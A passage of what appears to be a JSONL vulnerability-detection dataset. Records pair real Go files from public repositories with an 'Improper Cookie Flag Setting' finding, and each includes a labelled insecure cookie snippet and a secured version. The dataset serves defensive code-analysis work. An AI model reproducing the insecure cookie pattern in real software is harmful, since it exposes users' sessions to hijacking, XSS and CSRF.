{\n\t// Create a response recorder\n\tw := httptest.NewRecorder()\n\n\t// Get a new router\n\tr := getRouter(true)\n\n\t// Set the token cookie to simulate an authenticated user\n\thttp.SetCookie(w, &http.Cookie{Name: \"token\", Value: \"\"})\n\n\t// Define the route similar to its definition in the routes file\n\tr.GET(\"/\", showIndexPage)\n\n\t// Create a request to send to the above route\n\treq, _ := http.NewRequest(\"GET\", \"/\", nil)\n\treq.Header = http.Header{\"Cookie\": w.HeaderMap[\"Set-Cookie\"]}\n\n\t// Create the service and process the above request.\n\tr.ServeHTTP(w, req)\n\n\t// Test that the http status code is 200\n\tif w.Code != http.StatusOK {\n\t\tt.Fail()\n\t}\n\n\t// Test that the page title is \"Home Page\"\n\t// You can carry out a lot more detailed tests using libraries that can\n\t// parse and process HTML pages\n\tp, err := ioutil.ReadAll(w.Body)\n\tif err != nil || strings.Index(string(p), \"Home Page\") < 0 {\n\t\tt.Fail()\n\t}\n\n}\n\n// Test that a GET request to an review page returns the review page with\n// the HTTP code 200 for an unauthenticated user\nfunc TestreviewUnauthenticated(t *testing.T) {\n\tr := getRouter(true)\n\n\t// Define the route similar to its definition in the routes file\n\tr.GET(\"/review/view/:review_id\", getreview)\n\n\t// Create a request to send to the above route\n\treq, _ := http.NewRequest(\"GET\", \"/review/view/1\", nil)\n\n\ttestHTTPResponse(t, r, req, func(w *httptest.ResponseRecorder) bool {\n\t\t// Test that the http status code is 200\n\t\tstatusOK := w.Code == http.StatusOK\n\n\t\t// Test that the page title is \"review 1\"\n\t\t// You can carry out a lot more detailed tests using libraries that can\n\t\t// parse and process HTML pages\n\t\tp, err := ioutil.ReadAll(w.Body)\n\t\tpageOK := err == nil && strings.Index(string(p), \"review 1\") > 0\n\n\t\treturn statusOK && pageOK\n\t})\n}\n\n// Test that a GET request to an review page returns the review page with\n// the HTTP code 200 for an authenticated user\nfunc TestreviewAuthenticated(t *testing.T) {\n\t// Create a response recorder\n\tw := httptest.NewRecorder()\n\n\t// Get a new router\n\tr := getRouter(true)\n\n\t// Set the token cookie to simulate an authenticated user\n\thttp.SetCookie(w, &http.Cookie{Name: \"token\", Value: \"\"})\n\n\t// Define the route similar to its definition in the routes file\n\tr.GET(\"/review/view/:review_id\", getreview)\n\n\t// Create a request to send to the above route\n\treq, _ := http.NewRequest(\"GET\", \"/review/view/1\", nil)\n\treq.Header = http.Header{\"Cookie\": w.HeaderMap[\"Set-Cookie\"]}\n\n\t// Create the service and process the above request.\n\tr.ServeHTTP(w, req)\n\n\t// Test that the http status code is 200\n\tif w.Code != http.StatusOK {\n\t\tt.Fail()\n\t}\n\n\t// Test that the page title is \"review 1\"\n\t// You can carry out a lot more detailed tests using libraries that can\n\t// parse and process HTML pages\n\tp, err := ioutil.ReadAll(w.Body)\n\tif err != nil || strings.Index(string(p), \"review 1\") < 0 {\n\t\tt.Fail()\n\t}\n\n}\n\n// Test that a GET request to the home page returns the list of reviews\n// in JSON format when the Accept header is set to application/json\nfunc TestreviewListJSON(t *testing.T) {\n\tr := getRouter(true)\n\n\t// Define the route similar to its definition in the routes file\n\tr.GET(\"/\", showIndexPage)\n\n\t// Create a request to send to the above route\n\treq, _ := http.NewRequest(\"GET\", \"/\", nil)\n\treq.Header.Add(\"Accept\", \"application/json\")\n\n\ttestHTTPResponse(t, r, req, func(w *httptest.ResponseRecorder) bool {\n\t\t// Test that the http status code is 200\n\t\tstatusOK := w.Code == http.StatusOK\n\n\t\t// Test that the response is JSON which can be converted to\n\t\t// an array of review structs\n\t\tp, err := ioutil.ReadAll(w.Body)\n\t\tif err != nil {\n\t\t\treturn false\n\t\t}\n\t\tvar reviews []review\n\t\terr = json.Unmarshal(p, &reviews)\n\n\t\treturn err == nil && len(reviews) >= 2 && statusOK\n\t})\n}\n\n// Test that a GET request to an review page returns the review in XML\n// format when the Accept header is set to application/xml\nfunc TestreviewXML(t *testing.T) {\n\tr := getRouter(true)\n\n\t// Define the route similar to its definition in the routes file\n\tr.GET(\"/review/view/:review_id\", getreview)\n\n\t// Create a request to send to the above route\n\treq, _ := http.NewRequest(\"GET\", \"/review/view/1\", nil)\n\treq.Header.Add(\"Accept\", \"application/xml\")\n\n\ttestHTTPResponse(t, r, req, func(w *httptest.ResponseRecorder) bool {\n\t\t// Test that the http status code is 200\n\t\tstatusOK := w.Code == http.StatusOK\n\n\t\t// Test that the response is JSON which can be converted to\n\t\t// an array of review structs\n\t\tp, err := ioutil.ReadAll(w.Body)\n\t\tif err != nil {\n\t\t\treturn false\n\t\t}\n\t\tvar a review\n\t\terr = xml.Unmarshal(p, &a)\n\n\t\treturn err == nil && a.ID == 1 && len(a.Title) >= 0 && statusOK\n\t})\n}\n\n// Test that a GET request to the review creation page returns the\n// review creation page with the HTTP code 200 for an authenticated user\nfunc TestreviewCreationPageAuthenticated(t *testing.T) {\n\t// Create a response recorder\n\tw := httptest.NewRecorder()\n\n\t// Get a new router\n\tr := getRouter(true)\n\n\t// Set the token cookie to simulate an authenticated user\n\thttp.SetCookie(w, &http.Cookie{Name: \"token\", Value: \"\"})\n\n\t// Define the route similar to its definition in the routes file\n\tr.GET(\"/review/create\", EnsureLoggedIn(), showreviewCreationPage)\n\n\t// Create a request to send to the above route\n\treq, _ := http.NewRequest(\"GET\", \"/review/create\", nil)\n\treq.Header = http.Header{\"Cookie\": w.HeaderMap[\"Set-Cookie\"]}\n\n\t// Create the service and process the above request.\n\tr.ServeHTTP(w, req)\n\n\t// Test that the http status code is 200\n\tif w.Code != http.StatusOK {\n\t\tt.Fail()\n\t}\n\n\t// Test that the page title is \"Create New review\"\n\t// You can carry out a lot more detailed tests using libraries that can\n\t// parse and process HTML pages\n\tp, err := ioutil.ReadAll(w.Body)\n\tif err != nil || strings.Index(string(p), \"Create New review\") < 0 {\n\t\tt.Fail()\n\t}\n\n}\n\n// Test that a GET request to the review creation page returns\n// an HTTP 401 error for an unauthorized user\nfunc TestreviewCreationPageUnauthenticated(t *testing.T) {\n\tr := getRouter(true)\n\n\t// Define the route similar to its definition in the routes file\n\tr.GET(\"/review/create\", EnsureLoggedIn(), showreviewCreationPage)\n\n\t// Create a request to send to the above route\n\treq, _ := http.NewRequest(\"GET\", \"/review/create\", nil)\n\n\ttestHTTPResponse(t, r, req, func(w *httptest.ResponseRecorder) bool {\n\t\t// Test that the http status code is 401\n\t\treturn w.Code == http.StatusUnauthorized\n\t})\n}\n\n// Test that a POST request to create an review returns\n// an HTTP 200 code along with a success message for an authenticated user\nfunc TestreviewCreationAuthenticated(t *testing.T) {\n\t// Create a response recorder\n\tw := httptest.NewRecorder()\n\n\t// Get a new router\n\tr := getRouter(true)\n\n\t// Set the token cookie to simulate an authenticated user\n\thttp.SetCookie(w, &http.Cookie{Name: \"token\", Value: \"\"})\n\n\t// Define the route similar to its definition in the routes file\n\tr.POST(\"/review/create\", EnsureLoggedIn(), createreview)\n\n\t// Create a request to send to the above route\n\treviewPayload := getreviewPOSTPayload()\n\treq, _ := http.NewRequest(\"POST\", \"/review/create\", strings.NewReader(reviewPayload))\n\treq.Header = http.Header{\"Cookie\": w.HeaderMap[\"Set-Cookie\"]}\n\treq.Header.Add(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\treq.Header.Add(\"Content-Length\", strconv.Itoa(len(reviewPayload)))\n\n\t// Create the service and process the above request.\n\tr.ServeHTTP(w, req)\n\n\t// Test that the http status code is 200\n\tif w.Code != http.StatusOK {\n\t\tt.Fail()\n\t}\n\n\t// Test that the page title is \"Submission Successful\"\n\t// You can carry out a lot more detailed tests using libraries that can\n\t// parse and process HTML pages\n\tp, err := ioutil.ReadAll(w.Body)\n\tif err != nil || strings.Index(string(p), \"Submission Successful\") < 0 {\n\t\tt.Fail()\n\t}\n\n}\n\n// Test that a POST request to create an review returns\n// an HTTP 401 error for an unauthorized user\nfunc TestreviewCreationUnauthenticated(t *testing.T) {\n\tr := getRouter(true)\n\n\t// Define the route similar to its definition in the routes file\n\tr.POST(\"/review/create\", EnsureLoggedIn(), createreview)\n\n\t// Create a request to send to the above route\n\treviewPayload := getreviewPOSTPayload()\n\treq, _ := http.NewRequest(\"POST\", \"/review/create\", strings.NewReader(reviewPayload))\n\treq.Header.Add(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\treq.Header.Add(\"Content-Length\", strconv.Itoa(len(reviewPayload)))\n\n\ttestHTTPResponse(t, r, req, func(w *httptest.ResponseRecorder) bool {\n\t\t// Test that the http status code is 401\n\t\treturn w.Code == http.StatusUnauthorized\n\t})\n}\n\nfunc getreviewPOSTPayload() string {\n\tparams := url.Values{}\n\tparams.Add(\"title\", \"Test review Title\")\n\tparams.Add(\"content\", \"Test review Content\")\n\n\treturn params.Encode()\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 51, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "49b8a4f53a38844d57bde55a3dbc8406720249762ca419d9551d9f9f07b70efa", "license": {"spdx": ["Unlicense"], "repo": "bh90210/vaGorillaSessionsStores", "path": "mongo.go", "repo_head_hexsha": "d796bc04e1b3abb6186182a832cf3895e5052666", "stack_hexsha": "d78bcc1c54401936e471163620bd89bd74e59c95", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 111, "entireCode": "// Package vagorillasessionsstores is a Gorilla sessions.Store implementation for BadgerDB, MongoDB and Dgraph\npackage vagorillasessionsstores\n\nimport (\n\t\"context\"\n\t\"encoding/base32\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/gorilla/securecookie\"\n\t\"github.com/gorilla/sessions\"\n\t\"go.mongodb.org/mongo-driver/bson\"\n\t\"go.mongodb.org/mongo-driver/bson/primitive\"\n\t\"go.mongodb.org/mongo-driver/mongo\"\n\t\"go.mongodb.org/mongo-driver/mongo/options\"\n)\n\n// NewMongoStore returns a new Mongo backed store.\n// opts expects options.Client() mongo driver client options.\n// If databaseName is left empty \"\" a default \"sessions\" named database will be created.\n// If collectionName is left empty \"\" a default \"store\" named collection will be created.\n//\n// Keys are defined in pairs to allow key rotation, but the common case is\n// to set a single authentication key and optionally an encryption key.\n//\n// The first key in a pair is used for authentication and the second for\n// encryption. The encryption key can be set to nil or omitted in the last\n// pair, but the authentication key is required in all pairs.\n//\n// It is recommended to use an authentication key with 32 or 64 bytes.\n// The encryption key, if set, must be either 16, 24, or 32 bytes to select\n// AES-128, AES-192, or AES-256 modes.\nfunc NewMongoStore(client *mongo.Client, databaseName string, collectionName string, keyPairs ...[]byte) (*MongoStore, error) {\n\tif databaseName == \"\" {\n\t\tdatabaseName = \"sessions\"\n\t}\n\n\tif collectionName == \"\" {\n\t\tcollectionName = \"store\"\n\t}\n\n\tcollection := client.Database(databaseName).Collection(collectionName)\n\n\tstore := &MongoStore{\n\t\tCodecs: securecookie.CodecsFromPairs(keyPairs...),\n\t\tOptions: &sessions.Options{\n\t\t\tPath: \"/\",\n\t\t\tMaxAge: 86400 * 30,\n\t\t},\n\t\tdb: collection,\n\t}\n\n\tstore.MaxAge(store.Options.MaxAge)\n\treturn store, nil\n}\n\n// MongoStore stores sessions using MongoDB\ntype MongoStore struct {\n\tCodecs []securecookie.Codec\n\tOptions *sessions.Options\n\tdb *mongo.Collection\n}\n\n// Get returns a session for the given name after adding it to the registry.\n//\n// It returns a new session if the sessions doesn't exist. Access IsNew on\n// the session to check if it is an existing session or a new one.\n//\n// It returns a new session and an error if the session exists but could\n// not be decoded.\nfunc (s *MongoStore) Get(r *http.Request, name string) (*sessions.Session, error) {\n\treturn sessions.GetRegistry(r).Get(s, name)\n}\n\n// New returns a session for the given name without adding it to the registry.\n//\n// The difference between New() and Get() is that calling New() twice will\n// decode the session data twice, while Get() registers and reuses the same\n// decoded session after the first call.\nfunc (s *MongoStore) New(r *http.Request, name string) (*sessions.Session, error) {\n\tsession := sessions.NewSession(s, name)\n\topts := *s.Options\n\tsession.Options = &opts\n\tsession.IsNew = true\n\tvar err error\n\tif c, errCookie := r.Cookie(name); errCookie == nil {\n\t\terr = securecookie.DecodeMulti(name, c.Value, &session.ID,\n\t\t\ts.Codecs...)\n\t\terr = s.load(session)\n\t\tif err == nil {\n\t\t\tsession.IsNew = false\n\t\t}\n\t}\n\treturn session, err\n}\n\n// Save adds a single session to the response.\n//\n// If the Options.MaxAge of the session is <= 0 then the session file will be\n// deleted from the store path. With this process it enforces the properly\n// session cookie handling so no need to trust in the cookie management in the\n// web browser.\nfunc (s *MongoStore) Save(r *http.Request, w http.ResponseWriter,\n\tsession *sessions.Session) error {\n\t// Delete if max-age is <= 0\n\tif session.Options.MaxAge <= 0 {\n\t\tif err := s.erase(session); err != nil {\n\t\t\treturn err\n\t\t}\n\t\thttp.SetCookie(w, sessions.NewCookie(session.Name(), \"\", session.Options))\n\t\treturn nil\n\t}\n\n\tif session.ID == \"\" {\n\t\tsession.ID = strings.TrimRight(\n\t\t\tbase32.StdEncoding.EncodeToString(\n\t\t\t\tsecurecookie.GenerateRandomKey(32)), \"=\")\n\t}\n\n\tif err := s.save(session); err != nil {\n\t\treturn err\n\t}\n\n\tencoded, err := securecookie.EncodeMulti(session.Name(), session.ID,\n\t\ts.Codecs...)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\thttp.SetCookie(w, sessions.NewCookie(session.Name(), encoded, session.Options))\n\treturn nil\n}\n\n// MaxAge sets the maximum age for the store and the underlying cookie\n// implementation. Individual sessions can be deleted by setting Options.MaxAge\n// = -1 for that session.\nfunc (s *MongoStore) MaxAge(age int) {\n\ts.Options.MaxAge = age\n\n\t// Set the maxAge for each securecookie instance.\n\tfor _, codec := range s.Codecs {\n\t\tif sc, ok := codec.(*securecookie.SecureCookie); ok {\n\t\t\tsc.MaxAge(age)\n\t\t}\n\t}\n}\n\ntype SessionEntry struct {\n\tID primitive.ObjectID `bson:\"_id,omitempty\"`\n\tSessionID string `bson:\"sessionid,omitempty\"`\n\tValue string `bson:\"value,omitempty\"`\n}\n\nfunc (s *MongoStore) save(session *sessions.Session) error {\n\tencoded, err := securecookie.EncodeMulti(session.Name(), session.Values,\n\t\ts.Codecs...)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfilt := SessionEntry{\n\t\tSessionID: session.ID,\n\t}\n\n\tctx, _ := context.WithTimeout(context.Background(), 5*time.Second)\n\topts := options.Update().SetUpsert(true)\n\t_, err = s.db.UpdateOne(\n\t\tctx,\n\t\tfilt,\n\t\tbson.D{\n\t\t\t{\"$set\", bson.D{{\"value\", encoded}, {\"sessionid\", session.ID}}},\n\t\t},\n\t\topts,\n\t)\n\n\treturn err\n}\n\nfunc (s *MongoStore) load(session *sessions.Session) error {\n\tvar result SessionEntry\n\n\tctx, _ := context.WithTimeout(context.Background(), 5*time.Second)\n\tentry := SessionEntry{\n\t\tSessionID: session.ID,\n\t}\n\tres := s.db.FindOne(ctx, entry)\n\terr := res.Decode(&result)\n\tif err != nil {\n\t\treturn (err)\n\t}\n\n\treturn securecookie.DecodeMulti(session.Name(), string(result.Value), &session.Values, s.Codecs...)\n}\n\nfunc (s *MongoStore) erase(session *sessions.Session) error {\n\tctx, _ := context.WithTimeout(context.Background(), 5*time.Second)\n\tentry := SessionEntry{\n\t\tSessionID: session.ID,\n\t}\n\t_, err := s.db.DeleteOne(ctx, entry)\n\n\treturn err\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 111, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "14f5982fd8affa3253970153f64278e71f680b50a74b38fd08137bb9e02596df", "license": {"spdx": ["Apache-2.0"], "repo": "AletheiaWareLLC/authgo", "path": "handler/accountrecovery.go", "repo_head_hexsha": "df0a27b272a98a66f2cd3f3fcb35b41fabf23390", "stack_hexsha": "0575fafb590d1cd7ea520dee17d49ed5ef6e6ff2", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 62, "entireCode": "package handler\n\nimport (\n\t\"aletheiaware.com/authgo\"\n\t\"aletheiaware.com/authgo/redirect\"\n\t\"aletheiaware.com/netgo\"\n\t\"aletheiaware.com/netgo/handler\"\n\t\"html/template\"\n\t\"log\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n)\n\nfunc AttachAccountRecoveryHandler(m *http.ServeMux, a authgo.Authenticator, ts *template.Template) {\n\tm.Handle(\"/account-recovery\", handler.Log(AccountRecovery(a, ts)))\n\tm.Handle(\"/account-recovery-verification\", handler.Log(AccountRecoveryVerification(a, ts)))\n}\n\nfunc AccountRecovery(a authgo.Authenticator, ts *template.Template) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif a := a.CurrentAccount(w, r); a != nil {\n\t\t\t// Already signed in\n\t\t\tredirect.Account(w, r)\n\t\t\treturn\n\t\t}\n\t\ttoken, email, _, _, errmsg := a.CurrentAccountRecoverySession(r)\n\t\t// log.Println(\"CurrentAccountRecoverySession\", token, email, username, challenge, errmsg)\n\t\tnext, err := url.QueryUnescape(strings.TrimSpace(r.FormValue(\"next\")))\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\thttp.Error(w, http.StatusText(http.StatusNotFound), http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t\tswitch r.Method {\n\t\tcase \"GET\":\n\t\t\tdata := struct {\n\t\t\t\tLive bool\n\t\t\t\tEmail string\n\t\t\t\tError string\n\t\t\t\tNext string\n\t\t\t}{\n\t\t\t\tLive: netgo.IsLive(),\n\t\t\t\tEmail: email,\n\t\t\t\tError: errmsg,\n\t\t\t\tNext: next,\n\t\t\t}\n\t\t\tif err := ts.ExecuteTemplate(w, \"account-recovery.go.html\", data); err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t\treturn\n\t\t\t}\n\t\tcase \"POST\":\n\t\t\tif token == \"\" {\n\t\t\t\tt, err := a.NewAccountRecoverySession()\n\t\t\t\t// log.Println(\"NewAccountRecoverySession\", t, err)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Println(err)\n\t\t\t\t\thttp.Error(w, http.StatusText(http.StatusNotFound), http.StatusNotFound)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\ttoken = t\n\t\t\t\thttp.SetCookie(w, a.NewAccountRecoverySessionCookie(token))\n\t\t\t}\n\n\t\t\temail := strings.TrimSpace(r.FormValue(\"email\"))\n\n\t\t\tif err := accountRecovery(a, token, email); err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t\ta.SetAccountRecoverySessionError(token, err.Error())\n\t\t\t\tredirect.AccountRecovery(w, r, next)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\ta.SetAccountRecoverySessionError(token, \"\")\n\n\t\t\tredirect.AccountRecoveryVerification(w, r, next)\n\t\t}\n\t})\n}\n\nfunc accountRecovery(a authgo.Authenticator, token, email string) error {\n\tif err := a.SetAccountRecoverySessionEmail(token, email); err != nil {\n\t\treturn err\n\t}\n\n\t// Check valid email\n\tif err := authgo.ValidateEmail(email); err != nil {\n\t\treturn err\n\t}\n\n\t// Get username associated with email\n\tusername, err := a.LookupUsernameForEmail(email)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := a.SetAccountRecoverySessionUsername(token, username); err != nil {\n\t\treturn err\n\t}\n\n\tcode, err := a.EmailVerifier().Verify(email, username)\n\t// log.Println(\"Verify\", email, username, code, err)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := a.SetAccountRecoverySessionChallenge(token, code); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc AccountRecoveryVerification(a authgo.Authenticator, ts *template.Template) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\ttoken, _, username, challenge, errmsg := a.CurrentAccountRecoverySession(r)\n\t\t// log.Println(\"CurrentAccountRecoverySession\", token, email, username, challenge, errmsg)\n\t\tnext, err := url.QueryUnescape(strings.TrimSpace(r.FormValue(\"next\")))\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\thttp.Error(w, http.StatusText(http.StatusNotFound), http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t\tif token == \"\" {\n\t\t\tredirect.AccountRecovery(w, r, next)\n\t\t\treturn\n\t\t}\n\t\tswitch r.Method {\n\t\tcase \"GET\":\n\t\t\tdata := struct {\n\t\t\t\tLive bool\n\t\t\t\tUsername string\n\t\t\t\tError string\n\t\t\t\tNext string\n\t\t\t}{\n\t\t\t\tLive: netgo.IsLive(),\n\t\t\t\tUsername: username,\n\t\t\t\tError: errmsg,\n\t\t\t\tNext: next,\n\t\t\t}\n\t\t\tif err := ts.ExecuteTemplate(w, \"account-recovery-verification.go.html\", data); err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t\treturn\n\t\t\t}\n\t\tcase \"POST\":\n\t\t\tverification := strings.TrimSpace(r.FormValue(\"verification\"))\n\n\t\t\tif err := accountRecoveryVerification(challenge, verification); err != nil {\n\t\t\t\ta.SetAccountRecoverySessionError(token, err.Error())\n\t\t\t\tredirect.AccountRecoveryVerification(w, r, next)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\ta.SetAccountRecoverySessionError(token, \"\")\n\n\t\t\ttoken, err := a.NewSignInSession(username, true)\n\t\t\t// log.Println(\"NewSignInSession\", token, err)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t\thttp.Error(w, http.StatusText(http.StatusNotFound), http.StatusNotFound)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\thttp.SetCookie(w, a.NewSignInSessionCookie(token))\n\n\t\t\tredirect.AccountPassword(w, r, next)\n\t\t}\n\t})\n}\n\nfunc accountRecoveryVerification(challenge, verification string) error {\n\tif verification != challenge {\n\t\treturn authgo.ErrEmailVerificationIncorrect\n\t}\n\treturn nil\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 52, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "53"}}, {"lineNo": 62, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "812c906e419c6ad74454cbebf8704abcbc5832e379dce139686d36af71134430", "license": {"spdx": ["MIT"], "repo": "ampersand8/shield", "path": "core/api.go", "repo_head_hexsha": "51a95e7bbb6ca1622baa14dbb7a7c59d5f08d281", "stack_hexsha": "169b209e44ffdf187e43050bf094ae0df3da3763", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 65, "entireCode": "package core\n\nimport (\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n\t\"regexp\"\n\t\"time\"\n\n\t\"github.com/jhunt/go-log\"\n\n\t\"github.com/starkandwayne/shield/db\"\n\t\"github.com/starkandwayne/shield/route\"\n\t\"github.com/starkandwayne/shield/util\"\n)\n\nconst APIVersion = 2\n\nfunc (core *Core) ServeHTTP(w http.ResponseWriter, req *http.Request) {\n\tswitch {\n\tcase match(req, `GET /init.js`):\n\t\tcore.initJS(w, req)\n\t\treturn\n\n\tcase match(req, `GET /auth/([^/]+)/(redir|web|cli)`):\n\t\tre := regexp.MustCompile(\"/auth/([^/]+)/(redir|web|cli)\")\n\t\tm := re.FindStringSubmatch(req.URL.Path)\n\n\t\tname := m[1]\n\t\tprovider, ok := core.auth[name]\n\t\tif !ok {\n\t\t\tw.WriteHeader(404)\n\t\t\tfmt.Fprintf(w, \"Unrecognized authentication provider %s\", name)\n\t\t\treturn\n\t\t}\n\n\t\tif m[2] == \"redir\" {\n\t\t\tvia := \"web\"\n\t\t\tif cookie, err := req.Cookie(\"via\"); err == nil {\n\t\t\t\tvia = cookie.Value\n\t\t\t}\n\t\t\tlog.Debugf(\"handling redirection for authentication provider flow; via='%s'\", via)\n\n\t\t\tuser := provider.HandleRedirect(req)\n\t\t\tif user == nil {\n\t\t\t\tfmt.Fprintf(w, \"The authentication process broke down\\n\")\n\t\t\t\tw.WriteHeader(500)\n\t\t\t}\n\t\t\tsession := &db.Session{\n\t\t\t\tUserUUID: user.UUID,\n\t\t\t\tIP: 